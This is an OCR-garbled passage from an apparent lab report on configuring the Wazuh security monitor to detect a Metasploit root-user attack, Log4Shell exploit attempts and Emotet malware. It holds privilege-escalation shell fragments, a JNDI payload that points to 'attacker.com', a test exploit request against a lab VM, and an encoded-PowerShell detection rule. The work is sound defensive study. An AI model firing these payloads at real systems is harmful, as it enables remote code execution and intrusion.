Available fields > Jul 6, 2022 @ 18:30:27.569 Web server 488 error ¢ 5 31101 pc-1 /var/log/apache2/acce  web, accesslog, att
ode. ss.log ack
t agentid
t agentip 5 Jul 6, 2622 @ 18:11:22.426 Web server 480 error ¢ 5 31101 Dc-1 /var/log/apache2/acce  web, accesslog, att
ode. ss.log ack
t  data dstuser
t  dataextra_data 3 Jul 6, 2822 @ 18:02:31.885 MWeb server 488 error c 5 3nel DC-1 /var/log/apache2/acce web, accesslog, att
ode. ss.log ack
t  dataid
3 Jul 6, 2822 @ 17:54:24.703 Web server 488 error c 5 311e1 DC-1 /var/log/apache2/acce web, accesslog, att
t  data protocol B ss.1og ack
t data scacheck
command > Jul 6, 2622 @ 14:18:28.191 MWeb server 488 error c 5 311e1 DC-1 /var/log/apache2/acce web, accesslog, att
https://10.20.13.199/app/home ode. ss.log ack

Figure 48: Web server 400 error code
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Lastly, Wazuh will alert us when we add another root user, just as we did in the first Metasploit attack.

meterpl

Process
Channel @ c -
python -c 'i ty; pty.spawn("/bin/bash”

waw —data@DC-1 Fi . —exec /bin/sh \; -guit

. OKMU

‘toornew: ! :/asswadnewroot :
MKDBEbrBEnBlUXbLr1lFnboJiUu

Figure 49: Created a new user on our System “asswadnewroot”

%}
w
-

5 Jul 7, 2822 @ 11:16:42.225 sshd: authentication success.

3 Jul 7, 2822 @ 11:15:54.161 MNew user added to the system. 8 5962

Figure 50: Security event occurred after creating the new user and ssh into it

3.1.5 Conclusion
By assessing the Security Configuration Assessment (SCA), we can detect attack vectors used by tools
like Metasploit. For our endpoints to be adequately protected, it is imperative to use CSI policies as

well as custom policies, as outlined in this chapter. Checking these alerts is a daily task.

Moreover, the command feature, in conjunction with the log analysis engine, provides us with a wide

range of attack detection capabilities.
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3.2.1 Introduction

This chapter aims to detail a recent vulnerability in Apache Log4j, a popular open-source Java package
that many applications and services utilize as their default logging package. This vulnerability was
found in November 2021, and Apache Log4j is mostly used for error messages. It is part of several
highly valued applications, including Amazon, Apple iCloud, Twitter, Cisco, Cloudflare, etc [44].

In recent days, malicious actors have found a zero-day (computer software) vulnerability in Apache
Log4J 2, known as Log4Shell with CVE-2021-4428, that allows Remote Code Execution (RCE)
attacks. Basically, an attacker can remotely execute commands on a server running vulnerable
applications. In other words, one malicious code injection is all it takes for cybercriminals to

compromise vulnerable systems using the Log4j framework [42].

With Java being used in cloud solutions, web servers, apps, and other digital products, these products

are vulnerable to exploitation through the Log4Shell vulnerability.

The Apache Log4j2 starting from 2.0-beta9 to 2.15.0 (excluding the security releases 2.12.2, 2.12.3,
and 2.3.1), does not protect against Lightweight Directory Access Protocol (LDAP) and other Java
Naming and Directory Interface (JNDI) related endpoints controlled by attackers.

The JNDI is an Application Programming Interface (API) that gives naming and directory functionality
for applications that have been written in the Java language [45]. The LDAP allows to access contact

information available on the network [51].

If message lookup substitution is enabled, attackers can execute arbitrary code loaded from LDAP
servers if they have access to log messages or parameters. Apache log4j 2.15.0 disables this behavior
by default. With version 2.16.0, JINDI is completely disabled, and this functionality has been removed
[43].
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An overview of the regions in which Log4Shell exploit attempts have been made, as well as the density
of these attacks can be found on the map below. The US, UK, Germany, Turkey, and the Netherlands
are the top regions targeted by hackers [50].

’ -

4 =

Figure 51: Map shows regions in which Log4Shell exploit attempts have been made [50]

3.2.2 Methods to make our system defend against Log4shell

Several methods are available to defend the system against this vulnerability [41][50]:
e Scan the system for the presence of an insecure version of Apache Log4j 2.
e Upgrading to Apache Log4j 2 version 2.16.0 where the latest version - Log4j 2.17.1.
o Disabling JNDI could fix the problem and patch the vulnerability.

o Create detection rules to detect exploitation attempts that read connection and web access logs.

The key to fighting the current wave of attacks is early detection and patching the vulnerability

immediately, as we have to monitor all assets to identify when this vulnerability is exploited.

In the next steps, we will look at how Wazuh can monitor and detect the log4shel vulnerability and
create alerts against this vulnerability. We will be dealing with both the vulnerable DC:1 VM built on

Debian 32-bit and the Wazuh Manager server.
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3.2.3 How the Log4j Cyber Attack Works

Previously, we discussed how hackers could take control of a target network using the Log4Shell
vulnerability. Understanding how loggers work is essential to understand the cyberattack sequence. We
must know that the information collected from servers is instantly archived if there is no logging library

like log4j.

Log data

Log Archive

Figure 52: Information is instantly archived

However, suppose Java software developers need to actively analyze logged data or take certain actions
in response to it. In that case, they might use a specific library like Log4j to analyze logs before they

are archived [50].

LogAj Log Archive

Figure 53: Archive Log data using a logging library (Log4j)

So far, it is clear that any business using a vulnerable Log4j library will be an easy target for
Cyberattack. Again, this logger can execute code based on input, and since the vulnerability makes it

possible for attackers to manipulate input data, malicious code could be forced onto the logger.

Technically speaking, the attackers can use the vulnerable Log4j library to download code from an
LDAP server, then execute the code after it has been passed a specially crafted string. In this way, the
attacker can create a malicious LDAP server with code that uses strings to point to a malicious

application, database, or API, which allows them to control any server they are on [50].
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Phase 1

GET /anything HTTP/1.1
--------- Host: vulnerable.com
User-Agent: ${jndi:ldap://attacker.com/a}

)

Idap://attacker.com Vulnerable log4j server

N

feccnccncnnas’

dn:

javaClassName: foc
javaCodeBase: http://attacker.com
objectClass: javaNamingReference
javaFactory: Exploit

............. |dap response

Phase 2

e ——
cee
e download vulnerable see
java class
cee

http://attacker.com Vulnerable logdj server

Figure 54: Create a malicious LDAP server by attackers using the vulnerable Log4j library

A security vulnerability in Apache log4j can be exploited even if it is not exposed directly to the internet.
Even though the internet-facing web application is not based on Java code, malicious strings can spread

to back-end systems, applications, or software running vulnerable Apache Log4j versions [50].

| SS
= - =
Malicious String Endpoint Web Server Backend Software

Figure 55: Malicious strings can permeate to back-end software running vulnerable Apache Log4j version.

We will use this case later to test whether Wazuh can detect this kind of attack or not.
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3.2.4 Scanning vulnerable versions of Apache Log4j 2

To achieve this, we will use a Wazuh SCA (Security Configuration Assessment) policy. These policies
are written in YAML format and are used to perform system hardening checks [46]; in many cases, they

are also used to identify vulnerable software.

Sometimes, it is unnecessary to make any changes to the local configuration of the monitored agents as

all of the following configurations were done on the Wazuh server side.

Let us start by creating our first SCI policy file at /var/ossec/etc/shared/default/log4j_check.yml:

[

Figure 56: Creating a new Log4j_check.yml policy file using the command shell

It is worth mentioning that creating the SCI policy file is not possible by using the Graphical User

Interface of the Wazuh Server.

Essentially, we are sharing the SCA policy with a group of agents who will run the checks, which is our
"default” group in our case. Furthermore, as soon as the SCA policy file is created, and to make it usable

by Wazuh, the owner and group are modified using the following command:

# chown wazuh:wazuh /var/ossec/etc/shared/default/logaj_check.yml
Our next step is to add the SCA block to /var/ossec/etc/shared/default/agent.conf in order to enable

the new policy on the Wazuh agents that belong to the default group.
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By looking at the following figure, we can notice that we can do the previous step using the GUI of the

Wazuh server.

@ Elastic

= WAQAZURN. v Management Groups

¢ agent.conf of default group

1~ <agent_config>
2 ¢<!-- Shared agent configuration here --»
¢<!-- enable logdj_check.yml policy file on the wazuh agents--»>
<scax
<enabled»yes</enabled»
<scan_on_start>yes(/scan_on_startﬂ
<interval»>24h</interval>
<skip_nfs>yes</skip_nfs>
- <policies>»
<policy>/var/ossec/etc/shared/logdj_check.yml</policy>
</policies»
</sca>

1

PN ET NN TE R

i
"R = e}

I
P2

Figure 57: Enable log4j check.yml policy file on the Wazuh agents

In the following command, we will make a local change to the Wazuh agent configuration file. As it is
not possible to push this setting from Wazuh server, this needs to be set directly on the monitored
systems.

A major purpose of this modification has been made to make the SCA policies able to run commands

received from the Wazuh server.

# echo "sca.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

Note: during this process, the Wazuh agent had to be restarted in order to make the new setting take
effect. The server automatically pushed the new SCA policy file to the agent.

3.2.5 Detecting Log4Shell Exploit Attempts

Additionally, and for more security, we will create a rule for detecting log4shell exploitation attempts
in the following.

As part of this specific case, we review web access logs and look for patterns that are commonly used
to identify this exploit. We will add a new rule to /var/ossec/etc/rules/local_rules.xml file in the
Wazuh server (figure 58), as it could be added using the GUI of the Wazuh server as well.

In collaboration with MITRE, this feature allows the user to customize alerts to include specific
information related to MITRE ATT&CK techniques. After a few more chapters, we will see more about
MITRE ATT&CK.
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Figure 58: Log4shell rule for our Debian vulnerable system

As we know that we must restart our Wazuh-manager after adding or modifying any rule, and we can

do it using the following command.
# systemctl restart wazuh-manager

Now, let us check that our DC:1 Operating System is running an apache web server by running the

following command.
# service apache2

And we can notice the result in the figure below, as it confirms that our Debian VM is running an apache

server, but we still do not know if that server is vulnerable to a log4shell attack.

£ etc/ini

start-htcac

Figure 59: Apache server is running on DC:1 VM

Wazuh does not monitor the web log files. Wazuh's configuration group was modified to enable log
data collection, we have to know that this step is not mandatory to be added, but it will be better for

sure.

Looking at (figure 60) we can see the total two blocks we have added in order to solve and detect this
kind of vulnerability; as we can see, the highlight section is the specific new one for monitoring the web

log files and enabling log data collection [41].



The directory is /var/ossec/etc/shared/default/agent.conf.

E2 root@wazuh: /var/ossec/etc/shared/default - a X

GNU nano 2.9.3 agent.conf Modified

<localfile>
<1ug_foImat)syslogd/log_furmat)
<location>/var/log/apache2/access.log</location>
g/localfile>

Figure 60: /var/ossec/etc/shared/default/agent.conf file for Log4shell

In the last step, we have to test if our work is correct by sending a web request to the monitored system,
which is our DC:1 vulnerable VM in our case, that we request includes known Log4Shell patterns. All
devices that have network connectivity to the endpoint can make the request [41]: In our case, the
request will be as the following:
http://10.20.255.71/?x=${jndi:1dap://${localhost}.{{test}}/a}

@ Welcome to Drupal Site | Drupal - X +

C A Notsecure | 10.20.255.71/7x=$ndiIdap://${localhost].{{test}}/a} 2 % O » ¥ 0@ :

e
(\‘ Drupal Site
(S

Home

User login Welcome to Drupal Site

Username *
No front page content has been created vet.

Password *

+ Create new account
* Request new password

Log in

Figure 61: Sending a web request to the monitored system

From the figure above, the IP address “10.20.255.71” is our vulnerable System IP address (DC:1 VM),

and after executing the above request, we immediately got it logged under security events.
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http://10.20.255.71/?x=$%7bjndi:ldap://$%7blocalhost%7d.%7b%7btest%7d%7d/a%7d

Top 5 alerts

'f

Security Alerts

Time -

Jul6, 2022 @
10:54:18.302

Jul 6, 2022 @
10:53:44.261

= wWazuUh. v wodues  pca

Security events @

'S Top 5 rule groups ' Top 5 PCI DSS Requirements
@ Log4] RCE attack at... @ ossec
@ Ossec agent started. ® sc2 ‘
@ SCA summary: Secu... @ attack
@ Listened ports statu... ® logdj
@ Ossec agent stepped.
Tecnnique(s) Tactic(s) Description Level
Initial A Lateral M t, Def
T1180 T1210 T1211 nital Access, Lateral Movement, DETeNSe | ogaj RCE attack attempt detected. 12
Evasion
Initial A , Lateral M t, Def: :
T1190 T1210 T1211 nital Access, Lateral Movement, DETENSe | ogaj RCE attack attempt detected. 12

Evasion

Figure 62: Security alert against Log4j attack

4
@ 1061
® 1028
@22
@ 1027
2
Rule ID
110003
110003

Finally, from the figure above, we can see how Wazuh was able to detect the log4j attack against our

DC:1 agent, which has a vulnerable Apache web server, by generating an alert based on the rule we

have created before with an ID number "110003" and with an alert level "12". Wazuh allows us to read

and analyze more information, such as the 1D, name, IP address of our target agent, the full log, and

some information about the rule that got fired.

Table JSON

t _index wazuh-alerts-4.x-2022.97.06

t agent.id 849

t agent.ip 10.20.255.71

t agent.name oc-1

t data.id 200

t data.protocol GET

t data.srcip 10.20.255.205

t data.url 7x=8{jnd1:1dap://${localhost}.{{test}}/a}

t decoder .nane web-accesslog

t full_log 10.20.255.205 - - [86/Jul/2022:18:54:15 +100@] "GET /7x=${Jnd1:1dap://S{localhost}.{{test}}/a} HTTP/1.1" 2
00 2864 "-" “Moz11la/5.0 (Windows NT 10.8; Win6d; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/183.
©.0.9 Safar1/537.36"

t location

manager .name

rule.description

rule.firedtimes

rule.groups

rule.id

rule.level

rule.mail

rule.mitre.id

rule.mitre.tactic

rule.mitre.technique

timestamp

/var/log/apache2/access.log

wazuh

Log4j RCE attack attempt detected.
2

log4j, attack

110003

T119@, T1218, T1211
Initial Access, Lateral Movement, Defense Evasion
Exploit Public-Facing Application, Exploitation of Remote Services, Exploitation for Defense Evasion

Jul 6, 2022 & 10:54:18.302

Figure 63: More information about the Log4j event
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3.2.6 Conclusion

Our SCA policy was effective at detecting the presence of the Log4Shell vulnerability. Furthermore,
we created a rule to monitor the web server access log to detect when a known exploit pattern appears

in the web request.

Users who want to stay proactive can use this to implement measures that will alert them when there is

an indication of a vulnerability in Log4Shell.
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3.3.1 Introduction

In this chapter, we will demonstrate how Wazuh can be used to detect emotet malware at various stages.
In its original form, emotet was designed as a trojan and is primarily used to steal sensitive and private
information. Additionally, it can act as a gateway for other malware to spread to other computers
connected to it. Emotet has been known to deceive basic antivirus programs and hide from them [57].

It was detected in 2014 when a Trojan known as emotet affected German and Austrian banks.

Usually, it has the following stages [58]:

o Initial attack vector: Primarily spread through spam emails containing the malicious file.

o Malicious PowerShell code: At the time the file is opened, the malware is executed.
A step-by-step guide to detecting emotet malware with Wazuh [59]:

1- File integrity monitoring: ldentify changes in content, permissions, ownership, and
attributes of files.

2- VirusTotal integration: Scan monitored files for malicious content.

3- MITRE ATT&CK enrichment: Tactic and technique enrichment for Wazuh alerts.

4- Sysmon Event Channel collection: Real-time processing of event channel records

Following, we will see how we use these four different ways to detect the emotet malware. We will use

VVMs on our VirtualBox to safely run Suspicious Programs and applications [62].

3.3.2 File Integrity Monitoring
In this work, we will use windows 8.1 VM to show how we can play with the configuration of the
Windows group, which has already been implemented on our Wazuh server, in order to see how it will

detect any malicious file that will be added to our system using File Integrity Monitoring.

It is possible to configure Wazuh (figure 65) to monitor changes in any folder on the computer. As a

starting point, monitoring the Downloads folder makes sense, given the initial attack vector.
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= WQZUh.\/ Management | Groups

¢ agent.conf of windows group

1~ <agent_config>

2 ¢!-- Shared agent configuration here -->

3

4 ¢!-- monitor file changes for any folder on my Windows 8.1 systems -->

5+ <syschacky

6 ¢<directories check all="yes" realtime="yes">c:\Users\Asswad\Downloads\emotet-maluare</directories>
7 <fsyscheck>

3

9

Figure 64: Wazuh configuration for File Integrity Monitoring (FIM)

It is important to note that a real-time option is used with the directories tag, which generates FIM alerts

immediately, as shown in the figure below. The Integrity monitoring section will display an alert as

soon as the malicious file (emotet-malware-sample-08-07-2022) is downloaded on the Anas agent, our

windows 8.1 VM.

wazuh-alerts-* v

QU Search field names
() Filter by type
Selocted fields
 rule.geseription
1 ruleid
# rulelevel
t  syscheck event
+ syscheck patn

Available fields

+ agentid
agentip

agentname

t

t

t  decoder.name
t  Tull_log

t

i

= WAQZUR. v Modules  anas  Integrity monitoring @

=

34 hits

Jul 7, 2022 @ 10:21:17.476 - Jul 8, 2022 @ 10:21:17.476  Auto ~

T
s
3
S
-
timestamp per 30 minutes
Time ~ syscheck.path syscheck.event rule.description rule.level rule.id
5 Jul 8, 2022 @ 10:21:63.342 c:\users\asswad\downloads\emotet-malw  added File added to the system. 5 554
are\emotet-malware-sample-68-07-2022.
pdf
5 Jul 8, 2822 @ 18:21:03.114 c:\users\asswad\downloads\emotet-malw  deleted File deleted. 7 553
are\unconfirmed 116258.crdownload
5 Jul 8, 2022 @ 18:21:03.113 c:\users\asswad\downloads\emotet-maly  added File added to the system. 5 554

are\unconfirmed 116258.crdownload

Figure 65: File Integrity Monitor alert

An endpoint's Inventory tab also provides access to every monitored file. The figure [67] will display

different attribute information, including hashes and the user's name, which in our case is Asswad

(windows 8.1).

c:\users\asswad\downloads\emotet-malware\emotet-malware-sample-08-07-2022.pdf X
~ Details
@ Lestanaysis @ lest modified @ User
Jul 8, 2022 @ 19:21:31.000 Jul 8, 2022 @ 19:21:22.000 = Asswad
® UseriD E] Size o7 MD5
O 5-1-5-21-1924277619-2030949540- 5.95MB 42875037744 3602ac90a226 59652ffb
483471072-1001
s Shm SHA256
0023959197 1e37e60112c001c471d93dc5799fb7 ebBabb57590feccsb7 1b9a1344eB4daefeSTd4357ch5491262e 74b 286 45¢ 3215
[i] Permissions [
~ Recent events 2 hits
Search KQL ~  Last 24 hours Show dates G Refresh

+ Add filter

Figure 66: Different attributes information, including the hashes
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3.3.3 VirusTotal integration

VirusTotal, detect malware and other breaches by analyzing suspicious files, domains, IPs, and URLS

and sharing them automatically with the security community [60].

Wazuh can detect malicious content in monitored files. This is possible using a powerful online
scanning engine integrated into VirusTotal, a platform that can combine multiple antivirus products. By

combining this tool with our FIM engine, we can simply scan monitored files for malicious content.

Through the use of antivirus engines and website scanners, VirusTotal analyzes files and URLSs in order

to detect viruses, worms, trojans, and other malicious content [61].

Each analysis performed by VirusTotal is stored, so a specific file's hash can be searched. If the hash of
that specific file is sent to VirusTotal, we can know if VirusTotal has already scanned it, and we can
analyze its results. There is also an API provided by VirusTotal that allows users to access VirusTotal's
information without utilizing the HTML website interface.

Wazuh interacts with the VirusTotal. As we mentioned before, With Wazuh, requests can be made to
VirusTotal API based on the hashes of files created, changed, or installed within any FIM-monitored

folder. If VirusTotal's response is positive, Wazuh will generate an alert in the system:

-

@ riv event
s ]
@ FiM alert
-
u'l €) virusTotal request
any .
Qe .
Wazuh agent Wazuh manager VirusTotal
\
@ VirusTotal alert
\ /

Figure 67: Interactive between Wazuh and VirusTotal
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The File Integrity Monitoring integration uses the VirusTotal API to detect malicious content in
monitored files. Below are the functions of this integration [61]:

o File monitoring: File changes (addition, changes, or deletion) are detected by the FIM module,

and alerts are sent.

o VirusTotal request: A file's hash will be sent to VirusTotal by our Wazuh manager as soon as

the alert has been triggered by FIM.

o Alerting: After comparing the extracted hash and the information contained in VirusTotal’s

database, if positive matches are found, the Wazuh manager will generate a VirusTotal alert.

Initially, we need to register in VirusTotal 's community to get our personal VirusTotal APl key, which

is highlighted in the figure below.

& C @ virustotal.com/guifuser/Asswad/apikey e # OR 0O o :

Z URL, IP address, domain, or file hash Q o 8 (o Anas Asswad n

API Key Request premium AP key

This is your personal key. Do not disclose it to anyone that you de not trust, do not embed it in scripts or software from which it can be
ily retrieved ify i itti ing your A v, Vi cel ji
b 0d64c94c39b01096f430801234b94b7 2859044808937 768774593fa9647) easily retr\exed ,(,cu care about \t; confidentiality. By 5.uhm|lt||"\g ?ala us.lmg your API lfe, you are égr,e\ng to our Terms cf Service
and Privacy Policy, and to the sharing of your Sample submissions with the security community. Please do not submit any

personal information; VirusTotal is not respensible for the contents of your submissiens. Learn more

Figure 68: VirusTotal’s API key

To enable it, we need to edit the configuration file located at /var/ossec/etc/ossec.conf on the Wazuh
manager side and add the following configuration to the others, with taking into account adding the
VirusTotal API key, and we have to note that we added the configuration it between <ossec_config>

and </ossec_config> tags:

= WQZUR. v Management  Configuration

¢ Manager configuration & Refresh

Edit ossec.conf of Manager

48 <!--Wazuh_Manager VirusTotal configuration--»

41

42+ «<integration>

43 <name>virustotal</name>

a4 <api_key>29d64c94c30b8fB0eT432801a34b04b7e850044808037h8ee 7687745030643 ¢/api_key> <!-- My VirusTotal APT key --»
45 <group>syscheck</group>

46 <alert_format>json</alert format>

47 </integration>

48

Figure 69: Wazuh_Manager_VirusTotal_Configuration
Since we have already configured Wazuh to monitor changes in any folder on our Windows 8.1 VM
previously, we do not need to do it again in this test.
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3.3.4 Detecting a Malware file

First of all, we would be careful with our Lab; we would be working on a Virtual Machin to be protected
against the malware files we will deal with.

We will download a malware file online [63] on the same directory we previously used for the
FIM, c:\Users\Asswad\Donlowads\emotet-malware.

In the Security Events section of our Wazuh manager, we will see a notice when VirusTotal detects the

hash of the downloaded file as part of the initial attack vector:

manager.name: wazuh || agentid: 048 || rule.description: VirusTotal: Alert - c:\users\asswad\downloads\emotet-malware\2d.exe.zip - 3 engines defected ihis file X |+ Add filter
E i
1hit
Jul 7, 2022 @16:01:21.627 - Jul 8, 2022 @ 16:01:21.627  Auto v
£
H
2
o

timestamp per 30 minutes
Time « data.virustotal.source.file data.virustotal permalink data.virustotal.malicious data.virustotal positives data.virustotal total

5 Jul 8, 2022 @ 15:58:49.674 c:\users\asswad\downloads\e ht wi.virustotal.com/qui/file/2 1 3 59
motet-malware\2d.exe.zip 5l bbb75e8

f86/detection/
¢76418824b5e76bbb7
16eb107786-1654988

Figure 70: Alert about an initial attack vector has been detected by VirusTotal
Much information can be extracted from the alert, such as the source where the malicious file has been

downloaded.

Finally, we can notice that the Alert includes a permalink to the VirusTotal scan that we can use to get

more information about which specific engines detected the hash as a threat, as seen in the figure below.

Z 2cEH9BTSTA4f2BTbcTB410024b5eTEbLTSe8ic790b3435a752daBeb107IB6 2, 2 (W Anas Asswad 0
-
3 y vend oxes flagged t '
56T6bbbT5e81cT90b3435a7920a166b107186 95.12 KB 2022-06-11 23:06:21 UTC
L -
DETECTION DETAILS COMMUNITY

Security Vendors' Analysis

reabit jan B n Comodo Malware@#

Fortinet Acronis (Static ML) Undetected
Ad-A hnLab-V
iibaba ALYa

Figure 71: Permalink to the VirusTotal scan
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https://www.virustotal.com/gui/file/bb86400b6ae77db74d6fb592e3358580999711d9dca4ffc1d1f428e5b29f3d32/detection/f-bb86400b6ae77db74d6fb592e3358580999711d9dca4ffc1d1f428e5b29f3d32-1582928631

3.3.5 MITRE ATT&CK enrichment

The MITRE ATT&CK matrix stores all possible attacks and what to do to mitigate and detect them.

This can be useful when an alert detects an attack, and a user wants to know more about it [48].

In cyberattacks, the MITER ATT&CK document provides information about the malicious behaviors
advanced persistent threat groups have deployed at various stages and based on adversary tactics and
techniques based on real-world cyber attacks [47][49]. This taxonomy allows Wazuh to enrich alerts
with tactic and technique information from MITRE, allowing them to be filtered and visualized.

As an example, look at the sample VirusTotal alert that we saw earlier:
{
"_index": "wazuh-alerts-4.x-2022.07.08",
"_type™: " _doc",
"_id": "V14b30EBVOmMAmMS50zOnwy",
"_version™: 1,
"_score": null,
"_source": {

"input": {

"agent": {
"ip": "10.20.255.207",
"name": "Anas",
"id": "048"

h

"manager": {

"name": "wazuh"

2

"data": {

"integration™: "virustotal",



"virustotal": {

"shal": "8076bde7ab291dabe7373676ca945db0298aff99",
"malicious": "1",

“total": "59",

“found": "1",

"positives": "3",

"source": {

"shal™: "8076bde7ab291dabe7373676ca945db0298aff99",
"file": "c:\\users\\asswad\\downloads\\emotet-malware\\2d.exe.zip",
"alert_id": "1657288727.2564273",

"md5": "478bf4b12b00b55302ch127d2ae1158f"

2

"permalink":
"https://www.virustotal.com/gui/file/2c5b9875744f2f87bc76410024b5e76bbb75e8fc790b3435a792dal6eb10
7f86/detection/f-2c5h9875744f2f87bc76410024b5e76bbb75e8fc790b3435a792dal6eb107f86-1654988781",
"scan_date": "2022-06-11 23:06:21" }

2

"rule": {
"firedtimes": 4,
"mail": true,
"level": 12,
"pci_dss": [
"10.6.1", "11.4"

1,

"description": "VirusTotal: Alert - c:\\users\\asswad\\downloads\\emotet-malware\\2d.exe.zip - 3 engines
detected this file",

"groups™: [ "virustotal" ],
"mitre": {
"technique": [

"Exploitation for Client Execution”
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"id™ |
"T1203"
1,
"tactic": [

"Execution

]
h
"id": "87105",
"gdpr”: [
"IvV_35.7.d"
]
h
"location": "virustotal",
"decoder": {
"name": "json"
h
"id": "1657288729.2565528",
"timestamp": "2022-07-08T15:58:49.614+0200"
2
"fields": {
"timestamp™: [
"2022-07-08T13:58:49.6142"
]
2
"highlight": {
"agent.id": [

"@kibana-highlighted-field@048@/kibana-highlighted-field@"

/1



I

"manager.name"; [
"@kibana-highlighted-field@wazuh@/kibana-highlighted-field@"
]

h

"sort": [

1657288729614

VirusTotal alert sample

Within the alert, and by looking to the highlighted part above, we will find the miter object with
information on the tactic(s) and technique(s) associated with it, namely Exploitation for Client

Execution.

The previous technique warns of adversaries exploiting software vulnerabilities to execute code on
client applications. Insecure coding practices can lead to software vulnerabilities that can lead to
unexpected behavior [65].

Additionally, the MITRE ATT&CK section also has a dedicated interface for filtering alerts, similar to
the FIM Inventory section.

@ Elastic

= WQZUR. v Modules Anas  MITRE ATTRCK

Exploitation for Client Execution x
ID

T1203

Tactics

Execution

Version

11

~ Recentevents [t & 7 hits
Search KQL E v  Last7 days Show dates

+ Add filter

Time Techniquels) Tactic(s) Level Rule ID Description

VirusTotal: Alert -
T1203 Execution 12 87105 c:\users\asswad\downloads\emotet-
malware\Zd.exe.zip - 3 engines detected this file

Jul 8, 2022 @
15:58:49.614

Figure 72: MITRE ATT&CK interface
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In our example, we used Exploitation for Client Execution, so we can see a more detailed description
of the Technique we used.

Anas ~ MITRE ATT&CK @

. x
Details
D Name Created Time Modified Time Version
T1203 Exploitation for Client Apr 18,2018 @ Mar 28, 2020 @ 11
Execution 19:59:24.739 20:06:02.690
Description

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure
coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted
exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be
used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files
related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their
high utility.

Several types exist:
Browser-based Exploitation
Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through

normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the
web browser. These often do not require an action by the user for the exploit to be executed.

Figure 73: Detailed description of Exploitation for Client Execution
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3.3.6 Sysmon Event Channel collection

The System Monitor service, also known as Sysmon, monitors, and logs the activity of a Windows
system. One of its features is that log entries are combined from multiple log sources, correlated, and
then put into Sysmon Event Channel [66].

As soon as PowerShell is executed, Sysmon will generate an event, and Wazuh can trigger an alert.

Let us install, set up, and configure Sysmon on one of the monitored systems in our Lab, which will be
a Windows 10 OS [6].

8 Event Viewer — a =
File Action View Help
4 = | 21|

1 SMBServer | Operational  Number of events: 25.815 (!) New events available Actions
1 SMBWitnessClie N .
= StateRepasitory Level Date and Time Source EventID Task Category A | | Opesati... &
| Storage-Tiering (@) Infermation  11/07/2022 16:24:57 Sysmen 2 Network connection detected (rule: NetwerkConnect) = Ope
| StorageManage (Dlnformatlon 11/07/2022 16:24:56 Sysmon 22 Dns query (rule: DnsQuery) ¥ Cr..
| StorageManager ||| () Information  11/07/2022 16:24:45 Sysmon 22 Dns query (rule: DnsQuery) : .
| StorageSettings (1) Information  11/07/2022 16:24:46 Sysmon 22 Dns query (rule: DnsQuery) :
I storageSpaces-t (|| (i) Information  11/07/2022 16:24:46 Sysmon 3 Network connection detected (rule: NetworkConnect) cl..
_\J SterageSpaces-[ (Dlnformation 11/07/2022 16:24:46 Sysmon 3 Metwork connection detected (rule: NetworkConnect) T Filt..
| SterageSpaces- ||| () Information  11/07/2022 16:23:57 Sysmon 22 Dns query (rule: DnsQuery) g e
| StorageSpacest || () Information  11/07/2022 16:23:52 Sysmon 1 Process Create (rule: ProcessCreate)
:J_ StorDiag @Informatlon 11/07/2022 16:23:51 Sysmon 1 Process Create (rule: ProcessCreate) Dis.
| Store (D Information  11/07/2022 16:23:51 Sysmon 1 Process Create (rule: ProcessCreate) @8 Fin
| StorPort —~ R e e _ I R 4
1 storsve S 2 H s

~ [ Sysmen Event 3, Sysmon x Att..

=] Operational View »
| SystemSettingsT General Details
| TeskScheduler ~ |G Re-
o Tceip Metwork connection detected: ~ Help ¥
] TenantRestrictio RuleMame: Usermode
] TerminalServices UtcTime: 2022-07-11 14:25:37.001 @ Event3.. =
| TerminalServices || (oo Nome: Microsoft-Windows-Sysmon/Operational . & e
. | oo formicce T A

Figure 74: Event Viewer after installing and configuring Sysmon

Right now, there is an important step we have to take, which is to let the Wazuh agent on our Windows
10 able to monitor the Sysmon Event Channel; we have to add the following

in /var/ossec/etc/shared/windows/ossec.conf :

26 <!-- Configure the Wazuh agent to monitor the Sysmon Event Channel --»
27

28~ <localfile>

29 <location>Microsoft-Windows-5Sysmon/Operational</location>

38 <log_formatreventchannel</log format>

31 </localfiley]|

Figure 75: Configure the Wazuh agent to monitor the Sysmon event channel

By adding the Sysmon events rule, our Wazuh manager will enable us to match Sysmon events
generated by Powershell execution and the indicators of compromise (1oCs) we have to examine, which

refers to data that indicates a system may have been infiltrated by a cyber threat [5].
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Edit /var/ossec/etc/rules/local_rules.xml, and add the following:

{ local_rules.xml [ Ruleset Test

15~ <group name="sysmon, ">

151~  <rule id="101818" level="5">

152 <if_group>sysmon_event1</if_group>

153 «<match>technique_name=PowersShell</match>

154 <description>MITRE T1886 Powershell: $(win.eventdata.image)</description>

155~ <mitre>

156 <1d>T1059¢/1d>

157 </mitre>

158 </rule>

159  </group>

16@ - <group name="attack,"”>

161~ <rule id="101811" level="12"»

162 <if_sid»1e1018</if_sid>

163 <regex>-e PAA|-en PAA|-enc PAA|-enco PAA|-encod
PAA | JABLAGAAdgAGAHUACWB] AHTACABYAGEAZgBpAGWAZQ | QAZQBUAHYAOZB1AHMAZ QBYAHAACEBVAGYAaQBSAGUA | kAGUAbgB2ADOAJQB zAGUAC gBwAHT AbuBmAGKADAB LA | TgAoACCAK gANACKACWAKA | TAKAA
NACOATWAPADSAIA| 1ACEATWAGACCAKQATACOAS/ regex>

164 <description»ATTECK T1059: Powershell execution techniques seen with Emotet malware</description>

165~  <mitre>

166 <1d>T10859¢/1d>

167 </mitre>

168 </rule>

169 <IgrDup)|

Figure 76: Add rules for Sysmon events in Wazuh manager

Because Sysmon processes and monitors the logs, here is an example of how it detects malicious

payloads on our Windows 10.

5 Asswad = Security events @
71 hits

Jul1g, 2022 @ 15:08:00.000 - Jul 19, 2022 @ 15:08:30.000 Auto hd

-
€ 5
s
o
o 0
) .
15:08:15 15:08:20 5
timestamp per second
Time - rule.description rule.level rule.id data.win.system.channel full_log
5 Jul 19, 2822 @ 15:08:28.555 Sysmon - Suspiciou 12 61632 Microsoft-Windows-Sysmon/Op  {"win":{"system":{"providerName":"M
s Process - smss.e erational icrosoft-Windows-Sysmon", "providerG
